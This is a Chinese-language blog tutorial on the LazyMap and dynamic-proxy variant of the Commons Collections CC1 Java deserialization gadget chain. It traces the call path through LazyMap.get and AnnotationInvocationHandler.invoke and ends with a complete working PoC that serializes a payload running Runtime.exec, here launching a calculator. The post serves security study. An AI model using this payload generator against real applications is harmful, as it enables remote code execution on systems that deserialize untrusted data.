JAVA反序列化——另一条CC1链

之前的CC1链是利用TransformedMap的checkSetValue方法来调用ChainedTransformer.transform

而另一种写法是利用LazyMap.get方法走动态代理来调用ChainedTransformer.transform

寻找

我们看一下LazyMap类里的get方法

1
2
3
4
5
6
7
8
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key); //这里调了factory的transform
map.put(key, value);
return value;
}
return map.get(key);
}

而这里的factory

1
protected final Transformer factory;

是可以传的,也就是说到时候我们把factory的值传成ChainedTransformer,然后走进那个if里面就可以。

还是在AnnotationInvocationHandler类里的invoke方法:

1
2
3
4
5
public Object invoke(Object var1, Method var2, Object[] var3) {
…………
Object var6 = this.memberValues.get(var4);
…………
}

而这里的memberValues我们可以控制,所以我们只需要动态代理这个类,然后随便调用其中一个方法,就会触发invoke。然后因为AnnotationInvocationHandler的readObject可以接受一个map,就让它代理一个map

这就是整条链的思路:

image-20240417210451418

构造

我们详细来看看invoke方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]); //不要调用equals,不然直接return
} else if (var5.length != 0) { //判断参数是否为空,如果不为空,则抛出异常
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}

return var6;
}
}
}
}

也就是说,我们需要调用memberValues无参构造。

巧合的是,AnnotationInvocationHandler的readObject方法里的memberValues就是无参方法。

image-20240417213150927


看一下lazymap的decorate方法:

1
2
3
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

那map还是放之前的hashmap,Transformer就放chainedTransformer:

1
2
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

动态代理一个map:

1
2
3
4
5
6
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class);
constructorhandler.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructorhandler.newInstance(Override.class,lazyMap);

Map proxyedMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);

最后把这个代理给AnnotationInvocationHandler的readObject

1
Object obj = constructorhandler.newInstance(Override.class,proxyedMap);

最终poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1_other {
public static void main(String[] args) throws Exception {

//序列化InvokerTransformer,反射调用exec函数执行命令。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

//动态代理
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class);
constructorhandler.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructorhandler.newInstance(Override.class,lazyMap);

Map proxyedMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);

Object obj = constructorhandler.newInstance(Override.class,proxyedMap);

serialize(obj);
}

public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));
oos.writeObject(obj);
}
}

JAVA反序列化——另一条CC1链
http://example.com/2024/04/17/JAVA反序列化-另一条CC1链/
作者
Infernity
发布于
2024年4月17日
许可协议